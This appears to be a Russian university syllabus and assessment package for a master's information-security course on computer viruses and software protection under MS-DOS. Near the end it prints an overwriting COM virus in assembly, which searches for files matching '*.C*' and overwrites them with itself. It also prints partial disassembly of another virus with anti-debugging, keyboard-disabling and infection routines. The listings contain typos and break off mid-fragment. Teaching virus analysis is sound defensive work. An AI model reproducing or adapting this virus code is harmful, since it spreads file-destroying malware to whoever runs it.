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1. Перечень планируемых результатов обучения по дисциплине (модулю),
соотнесенных с планируемыми результатами освоения образовательной

программы

Наименование
категории
(группы)

компетенций

Код и
наименование
компетенции

Код и наименование
индикатора достижения

компетенции

Результаты обучения
(знать, уметь, владеть,

соотнесенные с
индикаторами
достижения

компетенции)

Профессиональные компетенции

Не
предусмотрено

ПК-2 Способен
проектировать
информационные
системы и их
компоненты в
защищенном
исполнении

ПК-2.1 Знает методы
проектирования и
построения
информационных систем в
соответствии с
требованиями
информационной
безопасности, включая
методы тестирования
эффективности и оценки
надёжности в соответствии
с требованиями
информационной
безопасности

Знать методы оценки
надёжности
информационных систем,
спроектированных в
соответствии с
требованиями
информационной
безопасности

Знать методы тестирования
эффективности
информационных систем,
спроектированных в
соответствии с
требованиями
информационной
безопасности

Знать методы
проектирования и
построения
информационных систем в
соответствии с
требованиями
информационной
безопасности

ПК-2.2 Умеет проектировать
информационные системы с
учётом различных
технологий обеспечения
информационной
безопасности

Уметь проектировать
информационные системы

Уметь проектировать
информационные системы,
используя технологии
обеспечения
информационной без-
опасности



5

ПК-2.3 Владеет навыками
проектирования и
построения защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками
построения защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками
проектирования
защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

2. Место дисциплины (модуля) в структуре образовательной программы

Место дисциплины (модуля)  в  структуре образовательной программы:  часть,  формируемая
участниками образовательных отношений

Код
комп
етен
ции

Предшествующие
дисциплины

Параллельно осваиваемые
дисциплины Последующие дисциплины

ПК-2

Информационные устройства в
интеллектуальных системах
безопасности; Производственная
практика: технологическая
практика

Интеллектуальные системы и
базы данных; Подготовка к
защите и процедура защиты
выпускной квалификационной
работы; Производственная
практика: проектно-
технологическая практика

3. Объем дисциплины (модуля) в зачетных единицах с указанием количества
академических часов, выделенных на контактную работу обучающихся с

преподавателем (по видам учебных занятий) и на самостоятельную работу
обучающихся

Вид учебной работы
Всего часов

/ часов в
электронной

форме

1 семестр
часов /
часов в

электронной
форме

Аудиторная контактная работа (всего),
в том числе: 40 40

Лабораторные работы 24 24

Лекции 16 16

Внеаудиторная контактная работа, КСР 32 32

Самостоятельная работа (всего),
в том числе: 72 72

выполнение курсовых работ 32 32

подготовка к зачету 16 16
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подготовка к лабораторным работам 24 24

Итого: час 144 144

Итого: з.е. 4 4

4. Содержание дисциплины (модуля), структурированное по темам (разделам),
с указанием отведенного на них количества академических часов и видов

учебных занятий

№
раздела Наименование раздела дисциплины

Виды учебной
нагрузки и их

трудоемкость, часы

ЛЗ ЛР ПЗ СРС Всего
часов

1 Основы функционирования исполняемых модулей 4 4 0 24 32

2 Компьютерные вирусы 8 16 0 26 50

3 Защита программ от несанкционированного доступа и
изучения 4 4 0 22 30

КСР 0 0 0 0 32

Итого 16 24 0 72 144

4.1 Содержание лекционных занятий

№
занятия

Наименование
раздела Тема лекции

Содержание лекции
(перечень дидактических единиц:

рассматриваемых подтем, вопросов)

Количество
часов /
часов в

электронной
форме

1 семестр

1
Основы
функционирования
исполняемых модулей

Основы
функционирования
исполняемых
модулей

Обзор современного состояния и
последних разработок в области
программно-аппаратной защиты
информации. Понятия компьютерной
системы и исполняемого модуля.
Структура и компоненты
компьютерной системы, виды
информации в них. Работа с
различными объектами в MS-DOS

2

2
Основы
функционирования
исполняемых модулей

Основы
функционирования
MS-DOS и BIOS.

Процесс загрузки компьютера.
Физическая и логическая организация
жесткого диска. MBR и таблица
разделов. Строение BOOT сектора.
Таблица параметров логического
диска. Строение FAT. Распределение
оперативной памяти в операционной
системе MS-DOS. Таблица векторов
прерываний. Перехват прерываний.
Выделение оперативной памяти.
Резидентность..

2
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3 Компьютерные вирусы Разновидности
вирусов в MS-DOS.

Разрушающие программные
воздействия. Этапы развития
вирусологии. Классификация
компьютерных вирусов. Пример
вируса, записываемого поверх
исполняемых файлов COM формата.
Описание алгоритма работы
простейшего нерези-дентного COM
вируса, записывающегося в конец
файла и пример кода.

2

4 Компьютерные вирусы Разновидности
вирусов в MS-DOS.

Алгоритм работы EXE вируса. Описание
шагов работы и пример кода.
Резидентные COM вирусы. Особенности
и алго-ритмы работы.

2

5 Компьютерные вирусы Вирусные
технологии

Резидентные EXE вирусы. Особенности
и алгоритмы работы. Виды
загрузочных вирусов. Алгоритм работы
загрузочного вируса. Пример кода
загрузочного вируса

2

6 Компьютерные вирусы Антивирусные
технологии

Методы самозащиты вирусов. Защита
от обнаружения. Невидимость.
Туннелинг. Антитуннелинг. Сплайсинг.
Антиэвристи-ка. Антинаживка. Защита
от лечения. Ме-тоды защиты от
антивирусов. Методы деструкции.

2

7
Защита программ от
несанкционированного
доступа и изучения

Исследования
программного
обеспечения на
предмет
отсутствия не
декларированных
возможностей.

Сертификация средств защиты.
Проверка соответствия реальных и
декларируемых функциональных
возможностей

2

8
Защита программ от
несанкционированного
доступа и изучения

Исследования
программного
обеспечения на
предмет
отсутствия не
декларированных
возможностей.

Статический и динамический анализ
ис-ходных текстов программ и
исполняемых модулей.

2

Итого за семестр: 16

Итого: 16

4.2 Содержание лабораторных занятий

№
занятия

Наименование
раздела

Тема
лабораторного

занятия

Содержание лабораторного занятия
(перечень дидактических единиц:

рассматриваемых подтем, вопросов)

Количество
часов /
часов в

электронной
форме

1 семестр

1
Основы
функционирования
исполняемых модулей

Система
шифрования
файлов.
Простейшее
шифрующее
преобразование
XOR.

Основы построения COM и EXE про-
грамм. Функции MS-DOS для работы с
клавиатурой, монитором и файловой
системой.

2
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2
Основы
функционирования
исполняемых модулей

Система
шифрования
файлов.
Простейшее
шифрующее
преобразование
XOR.

Функции MS-DOS для работы с клавиа-
турой, монитором и файловой
системой. Простейшее шифрующее
преобразова-ние XOR.

2

3 Компьютерные вирусы

Исследование
работы нерези-
дентного
внедряющегося
COM вируса.

Пример вируса, записываемого поверх
исполняемых файлов COM формата. 2

4 Компьютерные вирусы

Исследование
работы нерези-
дентного
внедряющегося
COM вируса.

Исследование работы нерезидентного
внедряющегося EXE вируса. 2

5 Компьютерные вирусы

Исследование
работы
нерезидентного
внедряющегося
EXE вируса.

Исследование работы нерезидентного
внедряющегося EXE вируса. 2

6 Компьютерные вирусы

Исследование
работы
нерезидентного
внедряющегося
EXE вируса.

Алгоритм работы EXE вируса. 2

7 Компьютерные вирусы

Исследование
работы
нерезидентного
внедряющегося
EXE вируса.

Код EXE вируса. 2

8 Компьютерные вирусы

Исследование
работы
резидентного
внедряющегося
COM вируса.

Исследование работы резидентного
внедряющегося COM вируса. 2

9 Компьютерные вирусы

Исследование
работы
резидентного
внедряющегося
COM вируса.

Резидентные COM вирусы. Особенности
и алгоритмы работы. 2

10 Компьютерные вирусы

Исследование
работы
резидентного
внедряющегося
COM вируса.

Методы самозащиты вирусов. 2

11
Защита программ от
несанкционированного
доступа и изучения

Криптографическая
пристыковочная
защита
исполняемых
файлов. Методика
изучения
программ.
Отладчики и
дизассемблеры.

Методика изучения программ 2
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12
Защита программ от
несанкционированного
доступа и изучения

Криптографическая
пристыковочная
защита
исполняемых
файлов. Методика
изучения
программ.
Отладчики и
дизассемблеры.

Отладчики и дизассемблеры. 2

Итого за семестр: 24

Итого: 24

4.3 Содержание практических занятий

Учебные занятия не реализуются.

4.4. Содержание самостоятельной работы

Наименование
раздела

Вид
самостоятельной

работы

Содержание самостоятельной
работы

(перечень дидактических единиц:
рассматриваемых подтем, вопросов)

Количество
часов

1 семестр

Основы
функционирования
исполняемых модулей

Подготовка к
лабораторным
работам

Основы построения COM и EXE
программ. Функции MS-DOS для работы
с клавиатурой, монитором и файловой
системой. Функции MS-DOS для работы
с клавиатурой, монитором и файловой
системой. Простейшее шифрующее
преобразование XOR.

8

Основы
функционирования
исполняемых модулей

Выполнение
курсовой работы

Дизассемблирование и исследование
полученного файла файла 12

Основы
функционирования
исполняемых модулей

Подготовка к
зачету

Обзор современного состояния и
последних разработок в области
программно-аппаратной защиты
информации. Понятия компьютерной
системы и исполняемого модуля.
Структура и компоненты
компьютерной системы, виды
информации в них. Работа с
различными объектами в MS-DOS.
Процесс загрузки компьютера.
Физическая и логическая организация
жесткого диска. MBR и таблица
разделов. Строение BOOT сектора.
Таблица параметров логического
диска. Строение FAT. Распределение
оперативной памяти в операционной
системе MS-DOS. Таблица векторов
прерываний. Перехват прерываний.

4



10

Компьютерные вирусы
Подготовка к
лабораторным
работам

Пример вируса, записываемого поверх
исполняемых файлов COM формата
Алгоритм работы простейшего
нерезидентного COM вируса,
записывающегося в конец файла.
Исследование работы нерезидентного
внедряющегося EXE вируса.
Исследование работы резидентного
внедряющегося COM вируса
Резидентные COM вирусы. Особенности
и алгоритмы работы.

8

Компьютерные вирусы Выполнение
курсовой работы

Определение алгоритма действия
вируса и его характерные признаки 12

Компьютерные вирусы Подготовка к
зачету

Разрушающие программные
воздействия. Этапы развития
вирусологии. Классификация
компьютерных вирусов. Пример
вируса, записываемого поверх
исполняемых файлов COM формата.
Описание алгоритма работы
простейшего нерезидентного COM
вируса, записывающегося в конец
файла и пример кода. Алгоритм работы
EXE вируса. Описание шагов работы и
пример кода. Резидентные COM
вирусы. Особенности и алгоритмы
работы. Резидентные EXE вирусы.
Особенности и алгоритмы работы.
Виды загрузочных вирусов. Алгоритм
работы загрузочного вируса. Пример
кода загрузочного вируса. Методы
самозащиты вирусов. Защита от
обнаружения.. Защита от лечения.
Методы защиты от антивирусов.
Методы деструкции.

6

Защита программ от
несанкционированного
доступа и изучения

Подготовка к
лабораторным
работам

Методика изучения программ.
Отладчики и дизассемблеры 8

Защита программ от
несанкционированного
доступа и изучения

Выполнение
курсовой работы

Разработка алгоритма работы
антивируса и его реализации 8

Защита программ от
несанкционированного
доступа и изучения

Подготовка к
зачету

Сертификация средств защиты.
Проверка соответствия реальных и
декларируемых функциональных
возможностей. Статический и
динамический анализ исходных
текстов программ и исполняемых
моду-лей.

6

Итого за семестр: 72

Итого: 72

5. Перечень учебной литературы и учебно-методического обеспечения по
дисциплине (модулю)
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№
п/п Библиографическое описание

Ресурс НТБ
СамГТУ

(ЭБС СамГТУ,
IPRbooks и т.д.)

Основная литература

1
Защита информации: специализированные аттестованные
программные и программно-аппаратные средства; Вузовское
образование, 2021.- Режим доступа:
https://elib.samgtu.ru/getinfo?uid=els_samgtu||iprbooks||110329

Электронный
ресурс

2
Методы и средства защиты компьютерной информации: аппаратные и
программные средства защиты информации; Издательский Дом
МИСиС, 2018.- Режим доступа:
https://elib.samgtu.ru/getinfo?uid=els_samgtu||iprbooks||98199

Электронный
ресурс

3
Технологии борьбы с компьютерными вирусами; СОЛОН-ПРЕСС, 2016.-
Режим доступа:
https://elib.samgtu.ru/getinfo?uid=els_samgtu||iprbooks||90288

Электронный
ресурс

Дополнительная литература

4
Программирование на ассемблере на платформе х86-64;
Профобразование, 2019.- Режим доступа:
https://elib.samgtu.ru/getinfo?uid=els_samgtu||iprbooks||88005

Электронный
ресурс

Доступ обучающихся к ЭР НТБ СамГТУ (elib.samgtu.ru) осуществляется посредством электронной
информационной образовательной среды университета и сайта НТБ СамГТУ по логину и паролю.

6. Перечень информационных технологий, используемых при осуществлении
образовательного процесса по дисциплине (модулю), включая перечень

программного обеспечения

При проведении лекционных занятий используется мультимедийное оборудование.
Организовано взаимодействие обучающегося и преподавателя с использованием электронной

ин-формационной образовательной среды университета.

№
п/п Наименование Производитель Способ

распространения

1 Операционная система Windows 10 Microsoft
(Зарубежный) Лицензионное

2 Операционная система Astra Linux Special Edition
ГК Astra Linux (ООО
«Рус-БИТех-Астра»)
(Отечественный)

Лицензионное

3 Kaspersky Endpoint Security 11.6.0.394
Лаборатория
Касперского
(Отечественный)

Лицензионное

4 MaxPatrol Education Positive Technologies
(Отечественный) Лицензионное

5 MaxPatrol SIEM Education Positive Technologies
(Отечественный) Лицензионное

6 OpenOffice 3.2
Apache Software
Foundation
(Зарубежный)

Свободно
распространяемое



12

7 Средство просмотра PDF-файлов PDF24 10.0.10 Geek Software GmbH
(Зарубежный)

Свободно
распространяемое

8 Средство просмотра DJVU-файлов WinDjView 2.1
Андрей и Леонид
Жеже-рун
(Отечественный)

Свободно
распространяемое

7. Перечень ресурсов информационно-телекоммуникационной сети «Интернет»,
профессиональных баз данных, информационно-справочных систем

№
п/п Наименование Краткое описание Режим доступа

1
ScienceDirect (Elsevier) -
естественные науки,
техника, медицина и
общественные науки.

http://www.sciencedirect.com/
Зарубежные базы

данных
ограниченного

доступа

2 Scopus - база данных
рефератов и цитирования http://www.scopus.com/

Зарубежные базы
данных

ограниченного
доступа

3 Электронная библиотека
изданий СамГТУ http://irbis.samgtu.local/cgi-bin/irbis64r_01/cgiirbis_64.exe

Российские базы
данных

ограниченного
доступа

4 eLIBRARY.ru http://www.eLIBRARY.ru/
Российские базы

данных
ограниченного

доступа

5 РОСПАТЕНТ http://www1.fips.ru/
Российские базы

данных
ограниченного

доступа

6 Электронно-библиотечная
система IPRbooks http://www.iprbookshop.ru/

Российские базы
данных

ограниченного
доступа

8. Описание материально-технической базы, необходимой для осуществления
образовательного процесса по дисциплине (модулю)

Лекционные занятия
Лаборатория  №  109  в  области  технологий  обеспечения  информационной  безопасности  и

защищенных информационных систем
Учебная  лаборатория  (компьютерный  класс)  для  проведения  занятий  лекционного  типа,

практических занятий и занятий семинарского типа, лабораторных работ, курсового проектирования
(выполнения  курсовых  работ),  групповых  и  индивидуальных  консультаций,  текущего  контроля  и
промежуточной аттестации.

Лаборатория  оснащена  средствами  вычислительной  техники,  сетевым  оборудованием,
техническими,  программными  и  программно-аппаратными  средствами  защиты  информации  и
средствами  контроля  защищенности  информации:  компьютеры  в  комплекте  (системный  блок,
клавиатура,  мышь,  монитор)  с  возможностью  подключения  к  сети  «Интернет»  и  с  доступом  в
электронную информационно-образовательную среду АИС «Университет» – 12 шт.; коммутатор DES-3526
3 шт., коммутатор DGS-3312SR 1 шт., кабель Ethernet 35 шт., консольный кабель 10 шт.

Специализированная мебель: компьютерные и ученические столы, ученические стулья, доска,
стол и стул для преподавателя.

http://www.sciencedirect.com/
http://www.scopus.com/
http://irbis.samgtu.local/cgi-bin/irbis64r_01/cgiirbis_64.exe?C21COM=F&I21DBN=ELIB&P21DBN=ELIB&S21FMT=&S21ALL=&Z21ID=&S21CNR=
http://www.eLIBRARY.ru/
http://www1.fips.ru/
http://www.iprbookshop.ru/
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Пакет прикладных программных продуктов:
Операционная система Windows 10
Операционная система Astra Linux Special Edition
Kaspersky Endpoint Security 11.6.0.394
MaxPatrol Education
MaxPatrol SIEM Education
Комплекс офисных приложений OpenOffice 3.2
Средство просмотра PDF-файлов PDF24 10.0.10
Средство просмотра DJVU-файлов WinDjView
Практические занятия null
Лабораторные занятия
Лаборатория  №  114   в  области  технологий  обеспечения  информационной  безопасности  и

защищенных информационных систем
Учебная  лаборатория  для  проведения  занятий  лекционного  типа,  семинарского  типа,

лабораторных  работ,  курсового  проектирования  (выполнения  курсовых  работ),  групповых  и
индивидуальных  консультаций,  текущего  контроля  и  промежуточной  аттестации.

    
Лаборатория  оснащена  средствами  вычислительной  техники,  сетевым  оборудованием,

техническими,  программными  и  программно-аппаратными  средствами  защиты  информации  и
средствами  контроля  защищенности  информации:

Многоканальный комплекс обнаружения радиоизлучающих средств и радиомониторинга "Крона
Про"  и  СПО  "Филин  Ультра";  Устройство  обнаружения  скрытых  видеокамер  "Амулет";  Антенный
измерительный комплекс "АИК 1-40А"; Диктофон RR-US510.

Комплект антенн измерительных АИ 5-0 и АИ 3-2, анализатор спектра GSP-827.
Аппаратура  имитации  сигналов  «Аврора-2»,  портативный  измеритель  частоты  и  мощности

«MFP-8000»,  поисковый приемник радиосигналов «Скорпион»,  программно-аппаратный комплекс для
проведения  специсследований  «Навигатор-ПЗГ»,  программно-аппаратный  комплекс  для  проведения
акустических и виброакустических измерений «Спрут-7А».

Многофункциональный  поисковый  прибор  ST-031  «Пиранья»,  специальный  сканирующий
приемник AR-3000A и ПО «Филин», портативный нелинейный локатор SP-61 «Катран», генератор шума
«ГРОМ-ЗИ-4»,  прибор  виброакустической  защиты  «SI-3001»,  устройство  предотвращения  утечки
информации  по  каналам  систем  мобильной  связи  МОЗАИКА,  контроллер  телефонной  линии  КТЛ-400.

Специализированная мебель: ученические столы, ученические стулья, доска, стол и стул для
преподавателя

Самостоятельная работа
Помещения для самостоятельной работы оснащены компьютерной техникой с возможностью

подключения к  сети «Интернет» и  доступом к  электронной информационно-образовательной среде
СамГТУ:

- читальный зал НТБ СамГТУ (ауд. 200 корпус № 8; ауд. 125 корпус № 1; ауд. 41, 31, 34, 35
 Главный корпус библиотеки, ауд. 83а, 414, 416, 0209 АСА СамГТУ; ауд. 401 корпус №10);

-  лаборатория  №  107  (компьютерный  класс)  для  проведения  занятий  лекционного  типа,
практических занятий и занятий семинарского типа, лабораторных работ, курсового проектирования
(выполнения  курсовых  работ),  групповых  и  индивидуальных  консультаций,  текущего  контроля  и
промежуточной аттестации.

Пакет прикладных программных продуктов:
·         Операционная система Windows 10
·         Операционная система Astra Linux Special Edition
·         Kaspersky Endpoint Security 11.6.0.394
·         XSpider Education
·         Positive Technologies Application Firewall Education
·         Комплекс офисных приложений OpenOffice 3.2
·         Средство просмотра PDF-файлов PDF24 10.0.10
·         Средство просмотра DJVU-файлов WinDjView 2.1
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9. Методические материалы

Методические рекомендации при работе на лекции
До лекции студент должен просмотреть учебно-методическую и научную литературу по теме

лекции с тем, чтобы иметь представление о проблемах, которые будут разбираться в лекции.
Перед  началом лекции  обучающимся  сообщается  тема  лекции,  план,  вопросы,  подлежащие

рассмотрению,  доводятся  основные  литературные  источники.  Весь  учебный материал,  сообщаемый
преподавателем, должен не просто прослушиваться. Он должен быть активно воспринят, т.е. услышан,
осмыслен, понят, зафиксирован на бумаге и закреплен в памяти. Приступая к слушанию нового учебного
материала,  полезно мысленно установить его связь с  ранее изученным. Следя за техникой чтения
лекции (акцент на существенном, повышение тона, изменение ритма, пауза и т.п.), необходимо вслед за
преподавателем уметь выделять основные категории, законы и определять их содержание, проблемы,
предполагать их возможные решения, доказательства и выводы. Осуществляя такую работу, можно
значительно  облегчить  себе  понимание  учебного  материала,  его  конспектирование  и  дальнейшее
изучение.

Конспектирование  лекции  позволяет  обработать,  систематизировать  и  лучше  сохранить
полученную  информацию  с  тем,  чтобы  в  будущем  можно  было  восстановить  в  памяти  основные,
содержательные моменты. Типичная ошибка, совершаемая обучающимся, дословное конспектирование
речи преподавателя. Как правило, при записи «слово в слово» не остается времени на обдумывание,
анализ и синтез информации. Отбирая нужную информацию, главные мысли, проблемы, решения и
выводы, необходимо сокращать текст, строить его таким образом, чтобы потом можно было легко в нем
разобраться. Желательно оставить в рабочих конспектах поля, на которых можно будет делать пометки
из  рекомендованной  литературы,  дополняющие  материал  прослушанной  лекции,  а  также
подчеркивающие  особую важность  тех  или  иных  теоретических  положений.  С  окончанием  лекции
работа над конспектом не может считаться завершенной. Нужно еще восстановить отдельные места,
проверить, все ли понятно, уточнить что-то на консультации и т.п. с тем, чтобы конспект мог быть
использован в процессе подготовки к практическим занятиям, зачету, экзамену. Конспект лекции –
незаменимый учебный документ, необходимый для самостоятельной работы.

Методические рекомендации при работе на лабораторном занятии
Проведение  лабораторной  работы  делится  на  две  условные  части:  теоретическую  и

практическую.
Необходимыми структурными элементами занятия являются проведение лабораторной работы,

проверка усвоенного материала, включающая обсуждение теоретических основ выполняемой работы.
Перед лабораторной работой, как правило, проводится технико-теоретический инструктаж по

использованию необходимого оборудования. Преподаватель корректирует деятельность обучающегося
в  процессе  выполнения  работы  (при  необходимости).  После  завершения  лабораторной  работы
подводятся итоги, обсуждаются результаты деятельности.

Возможны  следующие  формы  организации  лабораторных  работ:  фронтальная,  групповая  и
индивидуальная.  При  фронтальной  форме выполняется  одна  и  та  же  работа  (при  этом возможны
различные варианты заданий).  При групповой форме работа выполняется группой (командой).  При
индивидуальной форме обучающимися выполняются индивидуальные работы.

По  каждой  лабораторной  работе  имеются  методические  указания  по  их  выполнению,
включающие  необходимый  теоретический  и  практический  материал,  содержащие  элементы  и
последовательную инструкцию по проведению выбранной работы, индивидуальные варианты заданий,
требования и форму отчётности по данной работе.

Методические рекомендации по выполнению самостоятельной работы
Организация  самостоятельной  работы  обучающихся  ориентируется  на  активные  методы

овладения  знаниями,  развитие  творческих  способностей,  переход  от  поточного  к
индивидуализированному обучению с учетом потребностей и возможностей обучающегося.

Самостоятельная работа с учебниками, учебными пособиями, научной, справочной литературой,
материалами периодических изданий и Интернета является наиболее эффективным методом получения
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дополнительных  знаний,  позволяет  значительно  активизировать  процесс  овладения  информацией,
способствует более глубокому усвоению изучаемого материала. Все новые понятия по изучаемой теме
необходимо выучить наизусть и внести в глоссарий, который целесообразно вести с самого начала
изучения курса.

Самостоятельная работа реализуется:
непосредственно в процессе аудиторных занятий;
на лекциях, практических занятиях;
в контакте с преподавателем вне рамок расписания;
на консультациях по учебным вопросам, в ходе творческих контактов, при ликвидации

задолженностей, при выполнении индивидуальных заданий и т.д.;
в библиотеке, дома, на кафедре при выполнении обучающимся учебных и практических

задач.
Эффективным  средством  осуществления  обучающимся  самостоятельной  работы  является

электронная  информационно-образовательная  среда  университета,  которая  обеспечивает  доступ  к
учебным  планам,  рабочим  программам  дисциплин  (модулей),  практик,  к  изданиям  электронных
библиотечных систем.

10. Фонд оценочных средств по дисциплине (модулю)

Фонд оценочных средств представлен в приложении № 1.
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Приложение 1 к рабочей программе дисциплины
Б1.В.01.04 «Программно-аппаратные средства
защиты информации»

Фонд оценочных средств
по дисциплине

Б1.В.01.04 «Программно-аппаратные средства защиты информации»

Код и направление подготовки
(специальность) 10.04.01 Информационная безопасность

Направленность (профиль) Интеллектуальные средства в системах
безопасности

Квалификация Магистр
Форма обучения Очная
Год начала подготовки 2022

Институт / факультет Институт автоматики и информационных
технологий

Выпускающая кафедра кафедра "Электронные системы и
информационная безопасность"

Кафедра-разработчик кафедра "Электронные системы и
информационная безопасность"

Объем дисциплины, ч. / з.е. 144 / 4
Форма контроля (промежуточная
аттестация) Зачет с оценкой
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Перечень планируемых результатов обучения по дисциплине (модулю),
соотнесенных с планируемыми результатами освоения образовательной

программы

Наименование
категории
(группы)

компетенций

Код и
наименование
компетенции

Код и наименование
индикатора достижения

компетенции

Результаты обучения
(знать, уметь, владеть,

соотнесенные с
индикаторами
достижения

компетенции)

Профессиональные компетенции

Не
предусмотрено

ПК-2 Способен
проектировать
информационные
системы и их
компоненты в
защищенном
исполнении

ПК-2.1 Знает методы
проектирования и
построения
информационных систем в
соответствии с
требованиями
информационной
безопасности, включая
методы тестирования
эффективности и оценки
надёжности в соответствии
с требованиями
информационной
безопасности

Знать методы оценки
надёжности
информационных систем,
спроектированных в
соответствии с
требованиями
информационной
безопасности

Знать методы тестирования
эффективности
информационных систем,
спроектированных в
соответствии с
требованиями
информационной
безопасности

Знать методы
проектирования и
построения
информационных систем в
соответствии с
требованиями
информационной
безопасности

ПК-2.2 Умеет проектировать
информационные системы с
учётом различных
технологий обеспечения
информационной
безопасности

Уметь проектировать
информационные системы

Уметь проектировать
информационные системы,
используя технологии
обеспечения
информационной без-
опасности
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ПК-2.3 Владеет навыками
проектирования и
построения защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками
построения защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками
проектирования
защищённых
информационных систем в
соответствии с
требованиями
информационной
безопасности

Матрица соответствия оценочных средств запланированным результатам
обучения

Код индикатора
достижения
компетенции

Результаты обучения Оценочные
средства

Текущий
контрол

ь
успевае
мости

Промеж
уточная
аттестац

ия

Основы функционирования исполняемых модулей

ПК-2.1 Знает методы
проектирования и
построения
информационных
систем в
соответствии с
требованиями
информационной
безопасности,
включая методы
тестирования
эффективности и
оценки надёжности в
соответствии с
требованиями
информационной
безопасности

Знать методы тестирования эффективности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы проектирования и
построения информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы оценки надёжности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да
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ПК-2.2 Умеет
проектировать
информационные
системы с учётом
различных
технологий
обеспечения
информационной
безопасности

Уметь проектировать информационные
системы, используя технологии
обеспечения информационной без-
опасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Уметь проектировать информационные
системы

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

ПК-2.3 Владеет
навыками
проектирования и
построения
защищённых
информационных
систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками проектирования
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Владеть навыками построения
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Компьютерные вирусы

ПК-2.1 Знает методы
проектирования и
построения
информационных
систем в
соответствии с
требованиями
информационной
безопасности,
включая методы
тестирования
эффективности и
оценки надёжности в
соответствии с
требованиями
информационной
безопасности

Знать методы тестирования эффективности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы проектирования и
построения информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы оценки надёжности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да
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ПК-2.2 Умеет
проектировать
информационные
системы с учётом
различных
технологий
обеспечения
информационной
безопасности

Уметь проектировать информационные
системы, используя технологии
обеспечения информационной без-
опасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Уметь проектировать информационные
системы

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

ПК-2.3 Владеет
навыками
проектирования и
построения
защищённых
информационных
систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками проектирования
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Владеть навыками построения
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Защита программ от несанкционированного доступа и изучения

ПК-2.1 Знает методы
проектирования и
построения
информационных
систем в
соответствии с
требованиями
информационной
безопасности,
включая методы
тестирования
эффективности и
оценки надёжности в
соответствии с
требованиями
информационной
безопасности

Знать методы проектирования и
построения информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы тестирования эффективности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Знать методы оценки надёжности
информационных систем,
спроектированных в соответствии с
требованиями информационной
безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да
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ПК-2.2 Умеет
проектировать
информационные
системы с учётом
различных
технологий
обеспечения
информационной
безопасности

Уметь проектировать информационные
системы, используя технологии
обеспечения информационной без-
опасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Уметь проектировать информационные
системы

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

ПК-2.3 Владеет
навыками
проектирования и
построения
защищённых
информационных
систем в
соответствии с
требованиями
информационной
безопасности

Владеть навыками проектирования
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да

Владеть навыками построения
защищённых информационных систем в
соответствии с требованиями
информационной безопасности

Выполнение
курсовой работы Да Да

Ответы на вопросы
зачета Нет Да
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mov ah, 4Eh
mov dx, offset mask
int 21h

5



mask db ‘*.C*’,0

S-DOS 

mov ax, 3D02h
mov dx, 9Eh
int 21h

xchg ax, bx
mov dx, 100h
mov ah, 40h
mov cl, vir_len
int 21h

mov ah, 3Eh
int 21h
retn

vir_len equ $-vir

writer 
.model tiny
.code
org    100h
start:

mov ah, 4Eh
mov dx, offset mask
int 21h
mov   ax, 3D02h
mov   dx, 9Eh
int      21h
xchg  ax, bx
mov  dx,100h
mov  ah, 40h
mov  c1,Vir_len
int 21h
mov ah, 3Eh
int 21h
retn

mask          db '*.C*',0
vir_len       equ $-Vir
end start

.
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1)

start_0 proc far

cli

int 3 -

mov bp, sp

or ax, 1111h ;

xchg ax, si

mov bp, [bp-6]

sti
10



sub bp, 106h ;

2)

mov ax, 2501h

lea dx, (newint1 - (byte_103+4Dh))[bp]

int 21h

push cs

lea di, (restore_first_bytes - (byte_103+4Dh))[bp]

push di

retf

start_0 endp ; sp-analysis failed

3)

newint1:

mov al, 0ADh

out 64h, al

iret

4)

savecurdir:

mov dl, 0

mov ah, 47h

lea si, (curDir - (byte_103+4Dh))[bp]

int 21h

5)

mov ah, 1Ah

lea dx, (DTA.reserved - (byte_103+4Dh))[bp]

int 21h

jnb short infect1

11



jmp short return

nop

6)

restore_first_bytes:

mov di, 100h

lea si, (buffer - (byte_103+4Dh))[bp]

mov cx, 4

rep movsb

7)

mov ah, 2Ch

int 21h

8)

cmp ch, 5 

jnb short loc_2A8 ; ;

loc_2A5:

jmp short return

loc_2A8:

cmpch, 18

ja short loc_2A5

9)

pushf

pop bx

and bl, 0FEh

push bx

popf
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10)

push cs

